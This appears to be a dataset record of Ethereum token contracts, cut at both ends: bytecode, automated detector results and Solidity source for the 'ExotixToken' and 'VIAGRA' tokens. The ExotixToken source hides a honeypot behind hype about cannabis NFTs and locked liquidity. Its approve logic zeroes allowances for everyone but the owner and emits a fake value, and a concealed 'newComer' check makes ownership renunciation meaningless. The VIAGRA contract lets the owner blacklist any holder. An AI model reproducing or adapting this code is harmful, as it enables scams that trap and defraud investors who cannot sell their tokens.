fffffffffff0483118215151615613abb57613aba613c44565b5b828202905092915050565b6000613ad182613b38565b9150613adc83613b38565b925082821015613aef57613aee613c44565b5b828203905092915050565b6000613b0582613b18565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613b5a82613b73565b9050919050565b6000613b6c82613b38565b9050919050565b6000613b7e82613b85565b9050919050565b6000613b9082613b18565b9050919050565b60005b83811015613bb5578082015181840152602081019050613b9a565b83811115613bc4576000848401525b50505050565b613bd382613d19565b810181811067ffffffffffffffff82111715613bf257613bf1613cd1565b5b80604052505050565b6000613c0682613b38565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c3957613c38613c44565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f46656573206d75737420626520756e6465722032352500000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460008201527f68616e20302e3125000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d61785478416d6f756e74206c6f7765722074686160008201527f6e20302e31250000000000000000000000000000000000000000000000000000602082015250565b6141da81613afa565b81146141e557600080fd5b50565b6141f181613b0c565b81146141fc57600080fd5b50565b61420881613b38565b811461421357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c7bf7ccff68e062dda1aadcb15224864191940b26344fa5ca25386c2ca97c50064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,749 |
0x84c0a20840fbde2b66f2edefa3fdd0f55eac7397
|
/*
Cannabis, gaming, and cryptocurrency. EXOTIX represents the intersection of three multi-billion dollar industries. An Ethereum-based token, play-to-earn gaming, and grow-to-earn NFTs, all come to life inside a metaverse of exotic cannabis.
🚀 Launches Tuesday 12/14/21 🚀
💎 Photorealistic 3D NFTs💎
🎮 Play-To-Earn Game 🎮
🔮 Grow-to-Earn Cannabis Metaverse 🔮
💰1 Quadrillion Supply 💰
🙋🏼♂️ Doxxed Devs 🙋🏼♂️
🔐 LP Locked For 1 Year 🔐
🔥 Website: www.ExotixToken.io
📢 Telegram: www.t.me/ExotixToken
🐦 Twitter: www.Twitter.com/ExotixToken
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract ExotixToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = 'Exotix ' ;
string private _symbol = 'EXOTIX';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220bfc5a3ba93a0342fc753cc49c30c46f72dd877a958b577cef6c1adb5e749d5d964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,750 |
0x664e2ce5b8d3f15b90eeaab3e3ef0ed03df60993
|
/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
// SPDX-License-Identifier: Unlicensed
/*
Viagra is the only thing Ethereum needs right now !
https://t.me/viagratoken
Tokenomics
Tax: 10%
Investment fund: 4%
Dev and Marketing: 3%
Liquidity: 3%
Total supply
1B
Max buy
2%
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract VIAGRA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "VIAGRA";
string private constant _symbol = "VIAGRA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x79AdbCF7252523f7222be5E415EE90517887D377);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2e7 * 10**9;
uint256 public _maxWalletSize = 2e7 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
